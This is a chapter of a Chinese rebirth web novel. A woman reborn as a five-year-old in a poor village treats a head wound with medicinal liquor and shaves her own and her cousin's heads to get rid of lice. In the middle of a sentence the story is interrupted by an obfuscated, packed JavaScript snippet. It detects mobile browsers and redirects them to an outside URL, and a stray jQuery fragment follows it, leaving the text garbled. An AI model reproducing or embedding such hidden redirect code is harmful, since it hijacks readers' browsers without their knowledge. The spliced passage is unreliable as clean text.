“昨天你吃大的，今天该我吃大的！”
“你昨天吃的两个！”
“两个都小，还有个烤糊了！不行！我今天要吃大的！”
“我不——”
“砰——”
争抢推搡中，程野脑门磕到灶台棱角，她倒吸一口气，流水一样的触感顺着脸颊、眼睫滑落，视线开始变得模糊……恍惚中听到尖叫声、叫喊声，她意识渐渐模糊。
“啊吔，背时砍脑壳的，你们在干啥子？”兰小花顺着哭声进来，一个小女娃捏着烤红薯惊惶大哭，地上同样躺个女娃，脸着地，看不到样子，一动不动蜷缩在地上。
兰小花三步跨过灶房门槛，抓起女娃的后背衣裳，转过脸看到满脸血和草木灰，一点干净的地儿都找不到。
兰小花心咯噔一下。
“程野？程野！”
兰小花连忙把人像拎小鸡崽拎到堂屋躺椅上，借着屋外的光，这才看到女娃额头有个拇指长的豁口，血正是从这里流出来。
见喊不醒人，兰小花赶忙转身又进灶间，从灶洞抠出一坨锅底油灰出来，眼看就要摁伤口上了，躺椅上的女娃猛地躲开摁过来的手。
“没、没事…别、别抹烟灰。”程野近乎本能躲开烟灰，她费力睁开眼睛，看着眼前这个记忆中的人。她不知道为什么会想起这一幕，其实磕灶角的经过她早就忘得干干净净了。
兰小花不听她的，再次扬起烟灰要摁她头上。
伤口恁大不抹烟灰儿咋个止血，血这样一直流要死人的。
“抹、抹苦蒿。”程野挣扎着。
她就是死也不愿抹烟灰，这会儿她意识渐渐回笼，慢慢想起这一幕，应该是她五岁那年和堂姐抢烤红薯，磕灶台上了，她奶抠的烟灰给她止血。血是止住了，但是她额头从此也留下一条烟青色疤痕。
额头几十年泛青光，八字先生看了都摇头。
兰小花看她还能动，心里舒口气，不过又想起这个时候苦蒿还没有长出来，“苦蒿还没长，你不要烟灰，我去坟头给你刮白苔止血。”
程野听见这话，又想晕死过去。
但她怕晕了兰小花真给摁烟灰，咬着牙巴愣是不敢晕。顶着血流如注的伤口，大脑高速超负荷运转，“酒，药酒。奶，药酒，阿爷的药酒！”
千万被给她抹乱七八糟的东西了！
……当药酒淋在伤口上的时候，程野疼得差点从椅子上跳起来。
疼！
太疼了！
像被人用炖刀子刮肉一样疼！
*
清晨，凤凰岭笼罩在烟灰色的浓雾中。
程野额头包着小帕子，脸色惨白，坐在门口石墩上发呆。晨曦中，程铁木挑着水沿着竹林小道由远及近。
“起开，别挡路。”
程野抬起屁股，从石墩挪到屋檐石阶上，给他让路，随后她继续盯着远方的浓雾发呆。
凤凰岭很美，世间最美的词汇都不足以形容，植物丰茂，各色鲜花植被一年四季轮番商场，钟灵毓秀，引人神往。
但是交通也极不发达，到21世纪20年代，村村通勉强将凤凰岭连向外界。
程野少说有20来年没有看到这样的乡村晨雾，她上辈子大学毕业后，就沦为了一枚打工人。每天行色匆匆，挤轻轨，买菜自制预制菜，哪有时间欣赏路边的风景。况且城市密密匝匝的钢筋混凝土，也没有如此空旷的晨雾。
连续看了几天，她也没有看够。
程野现在大概5岁。她重生了，是的，重生到她魂牵梦萦又极其贫穷的童年。
家里的房子还是土墙房，堂屋有个大裂缝，透过裂缝可以清楚看见屋后的竹林。
上辈子爷爷程铁木和奶奶兰小花在她大学期间相继去世，后面家里的顶梁柱——程爸程四流也跟着生病去世，程野差点连大学都没读完。
兜兜转转，没想到又开局重来了。
她爷奶都是80多岁走的，算是喜丧，所以重来一次，程野想不到她还能做些什么，活吧好像也活够了，她也做不了什么。
人也还是那个她，既没有长智商，也记不住中奖彩票。重来一次的机会好像于她并没有多大喜悦。不过能重新看到烙在记忆里的人，她就当看电影一样也不错，或许哪天又回去了。
“吃饭了。”奶奶兰小花喊。这个老太太，兢兢业业一辈子，最后带着巴掌大的小脸永远沉睡，现在又在鲜活的喊她吃饭哩。
程野站起身，拍拍屁股进屋端饭碗，兰小花怕她摔了碗，连声叫她“慢点慢点”。这时候，一个女娃不知道从哪里钻出来，手脚并用爬上八仙桌等饭吃。
这个女娃不是别人，正是和她抢烤红薯的堂姐程青凤。
说起烤红薯事件，程青凤有错，她程野也不是没责任。
程野性子极为好强霸道，本来说好了烤红薯第二天让程青凤挑选，但她看到大的那个烤得焦黄，临时改主意想要先挑。程青凤当然不干，就这样，两人在灶角推拉争抢，她一个不察，光荣负伤。
程野是伤员，她面前有个小碗，里面是单独给她蒸的蒸蛋。
这是最后一次单独吃蒸蛋了。
连吃三天，算是对她这个伤员的额外照顾。
再看桌上的其它饭菜：一碗干咸菜，一碗渣海椒焖牛皮菜。
是的，小时候程野家里穷得只有大米饭，下饭的菜都是猪能吃，人也能吃的。她阿爷程铁木的精力都放在种粮食上，菜全是兰小花种的。
兰小花一辈子没出过远门，几乎没赶过场，种的菜种大多是家里的自留种，基本是些常见的牛皮菜、莴麻菜、儿菜、四季豆、南瓜等，一种菜一吃都要吃好几个月，南瓜更是吃大半年。
程野吃了一口蒸蛋，米汤调的汤底儿，鸡蛋嫩嫩滑滑，虽然没有放作料，但是鲜嫩爽滑，一抿直接化嘴里。
程青凤瞅着程野一口一口吃蒸蛋，口水直流，她好像磕到脑门子的是她哟，这样她就能吃蒸蛋了。
吃过早饭，爷爷程铁木去犁田，再过一段时日，地里的秧苗该插秧了。他得赶着时间将家里六七亩水田整理出来。
兰小花背上背篓出门，叮嘱程野姐妹俩，“我要去地里割猪草，你俩就在屋头玩，别走远了。”走了几步，想起什么，又回头嘱咐，“不要打架，打架中午不给饭吃！”还特意看程青凤。
程野没什么意见，她潜意识里一个大人，自然不会和真正五岁的小孩子玩耍计较，也实在玩不到一块。因她这几日脑门子疼人也虚弱得厉害，不爱说话，老是阴沉沉的坐在门槛上，程青凤有点怵她。
“奶，我和你一起去割猪草。”说着，程青凤倒腾着两条比程野长的小短腿追上去。
等所有人都离开后，程野继续坐门槛上发呆。
额头还有点若有似无的疼痛。
她一会儿抬头望屋檐下吊着的空蜂桶，一会儿看从裂缝里排队爬出的蚂蚁。一群蚂蚁抬着一颗晶莹剔透的米饭，前面还有几只蚂蚁打前锋探路回家，后头跟着几只断后的。
瞧了一阵，程野觉得这些蚂蚁挺辛苦，她从扫帚上折下一支高粱杆，直接将米饭给蚂蚁们移到裂缝口。这可不得了，原本下苦力的蚂蚁受到惊吓，四散奔逃，等许久，发现没有危险，才颠颠跑到裂缝处继续抬米。
肉眼可见比刚刚的速度更快了。
“看来走捷径并不比一步一步慢慢挪动更快啊。”程野眯着眼喃喃自语。蚂蚁们自己抬和她帮忙弄到裂缝处，两者时间都差不多，而且还受到惊吓。
太阳一点一点移到半空。
程野眯着眼睛，看了一会儿，忽觉头发有点痒，怎么回事儿？在长智慧了吗？她淡定地在发缝间摸索，摸到一个硬硬的东西，有点扎手，两指尖捏住捉下来，嗐！又一老朋友——虱子。
小时候家里条件不好，洗头洗澡几个月可能才轮到一次，整一个脏小孩。不过换做现在的她，她完全忍受不了了。
而且可能是心理作祟，程野这会就觉得头皮发麻发痒。
她其实回来的当天就想洗头洗澡了，但兰小花死活阻拦，说她头破了大洞，洗不得，还浪费水，反正也不臭。
是的，不臭。
这是兰小花洗头洗澡的参照依据。
程野硬生生熬了两三天，见这会儿家里没人，她转身翻进卧室，东翻西找，翻出了一个缝补簸箩，看见里面有把生锈的剪刀，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590137|171863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她拿出来试了试，勉强可以割断头发。
又瞧见柜子上有一块三角形的碎片镜子，正好水盆也省了。
洗不成头洗不了澡，她打算给自个儿理个发。
放好镜子，她对着三角镜抓起一撮头发，贴着头皮磨啊磨，足足磨了半分钟才剪下来。剪掉一撮后，接下来剪刀像开刃了一样……很久后，程野狗啃过的发型出炉了。
剪完后，程野这才觉得浑身酸软，累得虚汗直冒。后脑勺的地方她看不到胳膊也短，剪得更是没法儿看，索性就这样，反正她看不见，丑的也丑不到自己的眼睛。
程野很快自我安慰成功！
“哎哟，你个死闺女在干啥哟！”忽然，兰小花的声音在头顶炸开，手上的剪刀随即易主。她气急败坏，“好好的头发你剪了干啥，现在天楞个冷，剪了感冒了咋办？”
程野面无表情指着头发：“虱子，痒。”
刚刚剪的头发掉了一地，地上的头发里，肉眼可见白色虱子蛋黏在上面，蠕动的虱子到处乱爬，正在汲取最后的温暖。正说话呢，院子里的老母鸡奔过来在头发里啄到只虱子，高兴得咕噜噜叫唤。
头发已经剪了，也接不回去了。然后，程野顶着一个青色老年帽坐在门口石墩上。兰小花怕她冷着，翻找了一顶帽子给她戴上。
程青凤看她几眼，扭过头嘎嘎笑，又看几眼，又嘎嘎笑。
“老嘎婆，程野成了老嘎婆。”
程野无所谓，她也不可能和真小孩计较，嘴一秃，“来，先喊声嘎婆听听。”她们这个地儿，外婆也可以喊嘎婆。
头发剪了，接下来她要想办法解决洗澡的问题。
兰小花身子骨弱不下田，但是家里家外活却不少。猪草割回来，她又扛起锄头去地里种四季豆。
青凤瞅程野的光头，看嘲笑几次都不见程野生气，胆子也肥起来闹着要留家里。
“青凤，过来。”
程青凤警惕她：“过来干啥？不过来。”
“过来给你剪头发，头上那么多虱子你脑壳不痒吗？”老屋只有一个卧室，放了两张床，程野想一个人睡张床都没有条件，但是如果只有她剪头发祛除虱子，程青凤不剪也没有用。等头发长一点，她肯定会被染上。
所以程青凤的头发也得剪掉。
但是程青凤小归小，爱美的人可不小。她抱着脑袋疯狂摇头，“不剪不剪，我头不痒。”
“哦？是吗？”程野面无表情，指着脑袋说，“我这几天脑袋疼还没来得及找你算账，你把我脑袋磕破了，我要是狠狠心，直接报警把你抓起来关进去，你就一辈子回不来了。”
“我、我不怕，什么叫警察？”
“就是八路军，我报警了，你就是鬼子。”程野一本正经的胡说八道，欺骗小孩子见识少不知道什么叫《未成年保护法》，扯起大旗她一点不带脸红。
警察是什么程青凤不知道，可她知道八路军，玩游戏的时候她经常被分配“鬼子”的角色，可坏了。她弱弱的问：“我、我剪了，你就不去告我了？”
“嗯。”
等兰小花回来看到又一个光头在门口晃，气不打一处来，“程野你个死崽子！”兰小花藏好剪刀，“大冷天冻感冒了咋整？”
兰小花有心无力，这小孩越来越难养了，才丁点儿大，主意一个一个冒。前头老头子不让接手，嫌弃麻烦。但是儿子们都要出去打工，他们老两口不带谁带。
兰小花老两口生了四儿一女，其中一个儿子出去当赘婿，剩下三个儿子又各自娶媳妇，每家生了两个孩子，孙子孙女加起来整整八个，还没有算两个个外孙。
这样的情况在凤凰岭并不少见，家家户户都是如此，多子多福是他们那个年代普遍的观念。
现在老两口膝下养了三个孙女，其中一个就是程野，另外两个是老三家的——程青莲和程青凤姐妹俩。
晚上程野躺在床上，煤油灯橘色的光在墙上投射出人影，她听着兰小花喋喋的给程铁木穿插安排明日的活儿，渐渐陷入梦乡。
睡梦中，额头痒意愈加明显，她忍不住伸手挠，黏糊糊的手感，好像抓破了，却不曾想，一下子来到一个天光大亮的空间。